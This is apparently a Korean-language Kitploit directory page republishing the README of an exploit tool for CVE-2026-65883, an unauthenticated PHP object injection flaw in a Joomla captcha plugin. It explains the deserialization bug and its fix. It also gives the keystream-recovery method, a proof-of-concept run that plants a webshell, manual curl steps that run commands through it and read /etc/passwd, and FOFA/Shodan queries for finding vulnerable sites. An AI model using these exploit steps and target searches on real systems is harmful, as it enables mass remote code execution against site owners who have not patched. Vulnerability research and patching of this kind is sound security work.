Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard Joomla 컴포넌트 PHP 객체 인젝션 RCE. clfgd XOR 키스트림 복구 + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-65883
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Joomla 컴포넌트 PHP 객체 인젝션 RCE. clfgd XOR 키스트림 복구 + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

저장소 보기
21일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

clfgd 필드 → XOR 복구 → unserialize() → FormattedtextLogger → RCE


개요

Joomla용 Aimy Captcha-Less Form Guard의 인증되지 않은 PHP 객체 주입 취약점입니다. onCheckAnswer() 메서드는 공격자가 제어하는 clfgd POST 필드를 base64 디코딩하고, 반복 키 XOR을 적용한 다음 그 결과를 직접 unserialize()에 전달합니다. HMAC도, allowed_classes 제한도, 무결성 검사도 없습니다.


영향을 받는 버전

상태버전
취약18.0 — 20.0
패치됨20.1 (2026년 7월 29일)

취약점 메커니즘

근본 원인

plg_captcha_aimycaptchalessformguard의 onCheckAnswer() 메서드는 공격자가 제어하는 입력을 직접 unserialize()에 전달합니다:

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

XOR "암호화"는 세션별 키를 사용하는 비제네르(Vigenère) 암호로, 인증이 아닌 단순 난독화만 제공합니다.

깨진 암호화

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

키스트림 복구

이 플러그인은 암호문과 평문을 모두 동일한 HTML 응답에 렌더링합니다:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

trap_ids(<span id="..._mark"> 및 허니팟 입력에서 추출 가능)와 암호문이 모두 HTML에 있으므로, 이들을 XOR하면 231바이트 키스트림 중 약 94바이트가 복구됩니다.

공격 흐름

  1. GET으로 캡차로 보호된 양식(회원가입, 로그인, 문의, 비밀번호 재설정)에 접근합니다
  2. 추출: clfgd 암호문 + trap_ids + 타이밍 정보 → 키스트림 94바이트 복구
  3. 정렬: FormattedtextLogger 직렬화 객체의 구조적 바이트가 알려진 키스트림 위치에 오도록 맞춥니다
  4. POST로 조작된 clfgd 전송 → unserialize() → __destruct() → formatLine() → PHP 웹셸 작성
  5. GET /random.php?c=id → www-data 권한으로 RCE

개념 증명

단일 대상

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

수동 익스플로잇

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

수정 사항 (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode()는 PHP 객체를 인스턴스화할 수 없으므로 POP 가젯 체인이 차단됩니다.


영향

  • 전체 RCE — www-data 권한으로 임의 명령 실행
  • 인증 불필요 — 캡차가 있는 모든 공개 양식이 공격 경로
  • Joomla 3.9–5.2.1 — FormattedtextLogger 가젯이 모든 버전에서 동작
  • 지속성 — 웹셸은 수동으로 삭제할 때까지 유지

면책 조항

이 도구는 교육 및 승인된 보안 테스트 용도로만 사용하세요. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에만 사용하십시오.


참고 자료


Aimy Extensions 또는 VulnCheck와 제휴하지 않았습니다.

도구 다운로드
필드세부 정보
CVECVE-2026-65883
제품Aimy Captcha-Less Form Guard (Joomla 플러그인)
CVSS 4.010.0 (치명적)
유형CWE-502 — 신뢰할 수 없는 데이터의 역직렬화
영향받는 버전18.0 — 20.0
패치됨20.1 (2026년 7월 29일)
발견Valentin Lobstein (Chocapikk) / VulnCheck — 2026년 7월 26일
리소스링크
VulnCheck Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVE Recordcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883